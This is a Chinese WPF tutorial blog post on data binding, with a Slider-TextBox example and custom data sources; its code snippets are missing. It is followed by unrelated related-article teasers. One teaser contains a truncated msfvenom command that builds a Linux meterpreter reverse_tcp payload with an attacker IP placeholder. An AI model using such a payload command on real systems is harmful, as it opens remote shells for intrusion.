技术标签: WPF学习
深入浅出WPF(7)——数据的绿色通道,Binding(上)
小序:
怎么直接从2蹦到7啦?!啊哦,实在是不好意思,最近实在是太忙了,忙的原因也非常简单——自己的技术太差了,还有很多东西要学呀。门里门外,发现专业程序员非常重要的一项技能是读别人写的代码,这项技能甚至比自己写代码更重要。Anstinus同学就是读代码的高手,我写的代码他看两眼就知道怎么回事了,并且能够立刻修改,而他的代码我读了好几天还不知道是怎么回事儿呢。
2到7之间是留给XAML语言基础的,有些文章已经快写好了,但如果我对它不满意,是绝对不会放到网上来的。同时,最近有很多朋友又在催我往下写,情急之下,只好把最重要的几节赶出来、先挂上来。
因此,毫不夸张地说,从本篇文章起接下来的几篇文章几乎可以说是WPF的核心内容,非常重要。这几篇文章分别介绍了Binding、Dependency Property、Routed Event & Command等内容。精彩不断,敬请关注!
正文:
在学习新东西的时候,人们总是习惯拿它与自己已经了解的旧有知识去做比较,这样才掌握得快、记忆深刻。所以,经常有朋友问我:“WPF与Windows Form最大的区别是什么?请用最简短的话告诉我。”OK,这个问题问的非常好——看上去WPF与WinForm最大的区别像是前面讲的那个XAML语言,但XAML只是个表层现象,WPF真正引人入胜、使之与WinForm泾渭分明的特点就是——“数据驱动界面”。围绕着这个核心,WPF准备了很多概念相当前卫的技术,其中包括为界面准备的XAML、为底层数据准备的Dependency Property和为消息传递准备的Routed Event & Command。
“数据驱动界面”,听起来有点抽象。用白话解释(中文白话似乎总也上不了台面、更不能往书里写,而老外的书里却可以白话连篇)就是——数据是底层、是心脏,数据变了作为表层的UI就会跟着变、将数据展现给用户;如果用户修改了UI元素上的值,相当于透过UI元素直接修改了底层的数据;数据处于核心地位,UI处于从属地位。这样一来,数据是程序的发动机(驱动者)、UI成了几乎不包含任何逻辑专供用户观察数据和修改数据的“窗口”(被驱动者)。
顺便插一句,如果你是一位WinForm程序员,“数据驱动界面”一开始会让你感觉不太习惯。比如,在WinForm编程时,如果想对ListBox里的Item排序,我们会直接去排列这些Item,也就是针对界面进行操作,这在WPF里就行不通了——实际上,在WPF里因为界面完全是由数据决定的(甚至包括界面元素的排序),所以,我们只需要将底层数据排序,作为界面的Items也就在数据的驱动下乖乖地排好序了。
那么,数据是怎样从底层传递到界面的呢?我们今天的主角,Binding同学,就要登场啦!
深入浅出话Binding
Binding同学最近很不开心,是因为它的中文名字“很暴力”——绑定。我猜,最早的译者也没什么标准可遵循,大概是用了谐音吧!这一谐音不要紧,搞的中国程序员就有点摸不清头脑了。“绑”是捆绑的意思,再加上一个“定”字,颇多了几分“绑在一起、牢不可分”的感觉。而实际呢?Binding却是个地地道道的松耦合的关系!
依在下拙见,Binding译为“关联”是再合适不过了。在英语词典里,也的确有这一词条。关联吗,无需多讲,人人都知道是“之间有些关系”的意思。Data Binding也就不应该再叫“数据绑定”了,应该称为“数据关联”,意思是说,在数据和界面(或其他数据)之间具有某些关系和联动。
具体到WPF中,Binding又是怎样一种关系和联动呢?就像我们的大标题一样——Binding就是数据的“绿色通道”。“绿色通道”代表着“直接”和“快速”,Binding就是这样。
让我们分享一个有趣的例子,请看下面的截图:
这里是两个TextBox和一个Slider组成的UI,现在客户的需求是——当Slider的滑块移动时,上面那个TextBox里显示Slider的Value;反过来,当在上面那个TextBox里输入合适的值后,鼠标焦点移开后,Slider的滑块也要滑到相应的位置上去。
站在一个WinForm程序员的角度去考虑,他会做这样几件事情:
注意了!这就是典型的“非数据驱动界面”的思想。为什么呢?
当我们响应slider1的ValueChanged事件时,我们要的是slider1的Value这个值,这时候,slider1处于核心地位、是数据的“源”(Source);当我们响应textBox1的LostFocus事件时,我们需要的是它的Text属性值,这时候,textBox1又成了数据的source。也就是说,在这种处理方法中,数据没有固定的“源”,两个UI元素是对等的、不存在谁从属于谁的问题。换句话说:它们之间是“就事论事”,并没有什么“关联”。
接下来,让我们体验一下“绿色通道”的快捷!
上述例子的XAML源代码如下:
剔除那些花里呼哨的装饰品后,最重要的只有下面3行(而实际上第2行那个textBox2只是为了让鼠标的焦点有个去处):
然后,我只需在第1行代码上做一个小小的修改,就能完成WinForm中需要用两个事件响应、十多行代码才能完成的事情:
细心的你,一定一眼就看到只多了这样一句话:Text="{Binding ElementName=slider1, Path=Value}"
这句话的意思是说:Hi,textBox1,从此以后,你的Text属性值就与slider1这个UI元素的Value属性值关联上了,Value变的时候你的Text也要跟着变。
这时候的效果是——你拖动Slider的滑块,textBox1就会显示值(双精度,0到100之间);你在textBox1里输入一个0到100之间的数字,当把鼠标移动到textBox2里时,slider1的滑块会跳到相应的值上去,如图:
非常简单是不是?请注意,这里面可蕴含了“数据驱动界面”的模型哦!在这里,我们始终把slider1的Value当成是数据源(Data Source),而textBox1则是用来显示和修改数据的窗口(Data Presenter)——slider1是核心,它的Value属性值将驱动textBox1的Text进行改变;人为改变textBox1的Text属性值,也会被送回到slider1的Value属性值上去。
是时候让我们了解Data Binding的几个关键概念了——
绿色通道上的“关卡”:
话说眼看就要到奥运会了,北京的各大交通要道上也都加强了安检力度。微软同学也给Binding这条“绿色通道”准备了几道很实用的“关卡”。这些“关卡”的启闭与设置是通过Binding的属性来完成的。其中常用的有:
在C#代码中设置Binding
XAML代码是如此简单,简单就那么一句话。这可不是吾等C#程序员、刨根问底之徒可以善罢甘休的!
形象地讲,Binding就像一个盒子,盒子里装了一些机关用于过滤和控制数据,盒子两端各接着一根管子,管子是由管壳和管芯构成的,看上去就像下面的图:
当脑子里有了这样一个形象之后,遵循下面的步骤就OK了:
如果有必要,可以在3与4之间设置Binding的“关卡”们。其实,第3步之后的顺序不是固定的,只是这个步骤比较好记——一概向右连接。所得结果看上去是这样:
我猜你可能会问:“那个D.P.是什么呀?”
D.P.的全称是“Dependency Property”,直译过来就是“依赖式属性”,意思是说它自己本身是没有值的,它的值是“依赖”在其它对象的属性值上、通过Binding的传递和转换而得来的。表现在例子里,它就是Target上的被数据所驱动的联动属性了!
这里是等价的C#代码,我把它写在了Window1的构造函数里:
有意思的是,Source端的操作,接管子和插管芯分两步,而Target端却是在SetBinding方法中一步完成。注意啦,TextBox.TextProperty就是一个Dependency Property的庐山真面目!关于Dependency Property的文档业已完成,我将择一黄道吉日挂将出来:p
上面的代码稍有简化的余地,那就是把Path的设定转移到Binding的构造中去:
这样做的好处是——随便你给binding指定一个Source,只要这个Source有“Value”这个属性,binding就会自动提取它的值并传输给Target端。
我们还可以为binding设些“关卡”:
还有一个小小的提示:如果Source碰巧是一个UI元素,那么也可将binding.Source = this.slider1;改写成binding.ElementName = "slider1";或者binding.ElementName = this.slider1.Name;
自定义数据源:
在我们项目组日常的工作中,经常需要自己写一个类,并且拿它的实例当作数据源。怎样才能让一个类成为“合格的”数据源呢?
要诀就是:
让我们写一个这样的类:
接下来就是使用INotifyPropertyChanged接口“武装”这个类了,注意,这个接口在System.ComponentModel名称空间中:
自定义数据目标:
往而不来,非礼也;来而不往,亦非礼也——《礼记·曲礼》
知道了如何定义数据源,一定想一鼓作气再定义一个数据目标吧?让我们回想一下:Binding接在Target一端的管子,它的管芯是插在一个Dependency Property上的!所以,在我们熟悉Dependency Property之前,恐怕只能使用现成的.NET对象来充当Target了!
所以,敬请关注《深入浅出WPF》系统的后续文章!
==========================================
广而告之:
文章浏览阅读3.1k次。TS简介MPEG-TS(Transport stream)即Mpeg传输流定义于ITU-T Rec. H.222.0和ISO 13818-1标准中,属于MPEG2的系统层。MPEG2-TS面向的传输介质是网络和卫星等可靠性较低的传输介质,这一点与面向较可靠介质如DVD等的MPEG PS不同。1. TS数据包TS流由TS数据包即Transport stream packet组成。TS p...
文章浏览阅读984次。问题原因:目录下~/.deepinwine,查找乱码的应用Deepin-QQ、Deepin-WeChat,相同路径/drive_c/windows/Fonts下查看是否有字体,笔者发现没有任何字体,这就是原因所致,wine程序会在此处寻找字体,而不能直接利用linux系统的字体解决方法:把/usr/share/fonts/Fonts_Win下字体复制到这里,使wine应用程序能找到至少一种fallback字体,也可以在别的地方的fonts问价夹下,拷贝.ttf字体文件到这里..._wine 字体方块
文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而,现有的获得这种排列的方法要么过于昂贵,要么对许多元素无效。现在,加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法,可以几乎即时地预测任何材料(无论是现有材料还是新材料)的结构和动态特性。该算法被称为 M3GNet,用于开发 matterverse.ai 数据库,该数据库包含超过 3100 万种尚未合成的材料,其特性由机器学习算法预测。M..._人工智能预测材料属性
文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像
文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监
文章浏览阅读2.8k次。前言对于从事IT行业的我们来说,几乎无时无刻都在用chrome浏览器,因为它给我们的工作和生活带来了极大的便利。今天给大家分享11款牛逼的chrome插件。1. 谷歌翻译很多小伙伴,英语不太好,包括我自己,英语刚过四级。从事软件相关工作时,有时有些吃力,因为很多优秀的技术网站、书籍或者文章都是老外写的,如果因为看不懂就放弃阅读,我们将会少了很多学习和进步的机会。今天分享的第一个神器就是:谷歌翻译。在没使用谷歌翻译之前,访问https://docs.mongodb.com/drivers/java/_谷歌按键精灵插件中文
文章浏览阅读881次。本文介绍了如何使用R语言保存CSV文件。我们使用write.csv函数将数据框保存为CSV格式。您只需提供要保存的数据对象和文件路径,即可轻松创建CSV文件。CSV文件是一种通用的数据交换格式,在数据分析和数据处理中广泛使用。希望本文对您有所帮助,祝您在R语言中保存CSV文件时顺利进行数据处理和分析!_r软件保存为csv文件
文章浏览阅读498次。当下,数字化浪潮正重塑世界经济发展格局,数字经济正在成为全球经济可持续增长新引擎。我国超大规模的市场经济优势为数字经济发展提供了广阔而丰富的应用场景,也成为推动传统产业升级改造、加快”构建国内国际双循环相互促进的新发展格局“的重要引擎。据国家统计局数据显示:2020年第一季度,我国GDP呈现出6.8%的负增长态势。今年1月份至5月份,与互联网相关的新业态、新模式却继续保持逆势增长。全国实物商品网上零售额同比增长11.5%;实物商品网上零售额占社会消费品零售总额比重为24.3%,比去年同期提高5.4个百分点_vr商城建设对区域经济
文章浏览阅读384次。由于在暑假匆忙接收的嵌入式项目中需要使用特别大的数组,非分页RAM的内存不够用了,没办法,硬着头皮尝试使用分页RAM,但是完全没有单片机的基础,导致极其的困难。之前写程序都是按照纯软件的思维,主要考虑架构,不会考虑到每个变量具体存在哪个物理地址这么底层的问题,结果被飞思卡尔这分页地址、prm文件什么的搞得一头雾水,而网上的资料又少,讲的又大同小异的笼统,最后写出来的程序因为这分页地址的原因存在各种_codewarrior数组如何定义
摘要:Web服务器是用于提供Web服务的软件,它通过HTTP协议来传输和接收网页和其他资源。在Inteet上,HTTP通信通常在TCP/IP连接上进行,使用端口号80。Apache是一种常见的Web服务器软件,其主程序为httpd,根目录为/var/www/html。
文章浏览阅读435次。使用ctypes模块直接加载so函数为:ctypes.cdll.LoadLibrary("so文件路径")_cmake编译 python调用c++ so文件
文章浏览阅读1.3k次。1 git config --global user.name “你的账号”2 git config --global user.email “邮箱”3 查询账号 :git config user.name4 ssh-keygen -t rsa -C “邮箱”5 cd ~/.ssh6 cat id_rsa.pub (返回一串密钥字母)7 将其配置在setting下的密钥中..._配置密钥